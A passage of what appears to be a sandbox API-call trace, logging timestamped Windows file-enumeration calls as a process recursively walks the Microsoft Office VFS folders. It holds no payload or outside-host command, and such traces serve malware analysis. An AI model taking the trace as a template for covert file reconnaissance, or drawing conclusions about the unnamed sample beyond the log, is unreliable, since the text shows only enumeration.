hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.333] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0288.334] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.334] GetProcessHeap () returned 0xaf0000 [0288.334] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.334] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0288.334] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0288.334] GetProcessHeap () returned 0xaf0000 [0288.334] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.335] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0288.335] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0288.336] GetProcessHeap () returned 0xaf0000 [0288.336] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.336] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0288.336] GetProcessHeap () returned 0xaf0000 [0288.336] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0288.336] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.336] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0288.336] GetProcessHeap () returned 0xaf0000 [0288.336] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.337] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.337] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0288.338] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0288.338] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0288.338] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.338] GetProcessHeap () returned 0xaf0000 [0288.338] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.338] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0288.338] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0288.338] GetProcessHeap () returned 0xaf0000 [0288.338] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.339] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0288.339] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0288.339] GetProcessHeap () returned 0xaf0000 [0288.339] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0288.339] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0288.340] GetProcessHeap () returned 0xaf0000 [0288.340] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0288.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0288.340] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.340] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~1")) returned 1 [0288.340] GetProcessHeap () returned 0xaf0000 [0288.340] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0288.352] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.352] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0288.353] GetProcessHeap () returned 0xaf0000 [0288.353] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0288.353] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.353] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0288.353] GetProcessHeap () returned 0xaf0000 [0288.354] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.354] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.354] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0288.354] GetProcessHeap () returned 0xaf0000 [0288.354] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a79751b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a79751b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a79751b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0288.614] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0288.615] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a809c41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0288.615] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2aebe60a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0288.615] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, 